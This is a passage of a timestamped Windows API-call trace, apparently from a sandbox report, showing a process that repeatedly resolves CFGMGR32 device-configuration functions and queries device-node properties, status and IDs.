lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.762] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0182.762] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.766] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dcbb2cd, dwHighDateTime=0x1d9eb0c)) [0182.767] SetEvent (hEvent=0x248) returned 1 [0182.770] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.770] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.774] malloc (_Size=0x18) returned 0x196ef0d1d20 [0182.774] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x11, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0182.775] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4dcbb2cd, dwHighDateTime=0x1d9eb0c)) [0182.775] SetEvent (hEvent=0x248) returned 1 [0182.780] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.780] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.784] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0182.784] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x11, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0182.784] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4dcd576d, dwHighDateTime=0x1d9eb0c)) [0182.785] SetEvent (hEvent=0x248) returned 1 [0182.788] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.788] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.862] malloc (_Size=0x18) returned 0x196ef0d1b00 [0182.862] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0182.862] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dd94264, dwHighDateTime=0x1d9eb0c)) [0182.863] SetEvent (hEvent=0x248) returned 1 [0182.866] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.866] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.869] malloc (_Size=0x18) returned 0x196ef0d2080 [0182.869] CM_Get_Device_IDA (in: dnDevInst=0x12, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\IP_TUNNEL_DEVICE_ROOT") returned 0x0 [0182.869] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4dd94264, dwHighDateTime=0x1d9eb0c)) [0182.869] SetEvent (hEvent=0x248) returned 1 [0182.871] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.871] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.872] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.873] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.874] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.874] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.874] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.874] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0182.874] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0182.874] malloc (_Size=0x10) returned 0x196ef0d1aa0 [0182.874] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1aa0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1aa0, pulLength=0x67117d608) returned 0x0 [0182.874] free (_Block=0x196ef0d1aa0) [0182.874] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4ddbac9d, dwHighDateTime=0x1d9eb0c)) [0182.875] SetEvent (hEvent=0x248) returned 1 [0182.876] malloc (_Size=0x18) returned 0x196ef0d1e80 [0182.876] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0182.876] free (_Block=0x196ef0d1e80) [0182.876] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855160 [0182.876] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0182.876] SafeArrayGetLBound (in: psa=0x196ef1f2af0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0182.876] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0182.876] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b62c0 [0182.877] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0182.877] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0182.877] SafeArrayGetElemsize (psa=0x196ef1f2af0) returned 0x8 [0182.877] SafeArrayGetElement (in: psa=0x196ef1f2af0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0182.877] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.877] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b62c0) returned 1 [0182.878] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855160) returned 1 [0182.878] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.878] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.880] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.880] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0182.880] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0182.881] malloc (_Size=0x38) returned 0x196ef0d0c90 [0182.881] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0c90, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0c90, pulLength=0x67117d608) returned 0x0 [0182.881] free (_Block=0x196ef0d0c90) [0182.881] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4ddbac9d, dwHighDateTime=0x1d9eb0c)) [0182.881] SetEvent (hEvent=0x248) returned 1 [0182.883] malloc (_Size=0x18) returned 0x196ef0d1c40 [0182.883] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0182.883] free (_Block=0x196ef0d1c40) [0182.883] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0182.883] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0182.883] free (_Block=0x196ef0d1ca0) [0182.883] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0182.883] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0182.883] SafeArrayGetLBound (in: psa=0x196ef1f2cb0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0182.883] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0182.883] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6020 [0182.883] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0182.883] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0182.883] SafeArrayGetElemsize (psa=0x196ef1f2cb0) returned 0x8 [0182.884] SafeArrayGetElement (in: psa=0x196ef1f2cb0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0182.884] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.884] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.884] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6020) returned 1 [0182.885] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0182.885] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.885] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 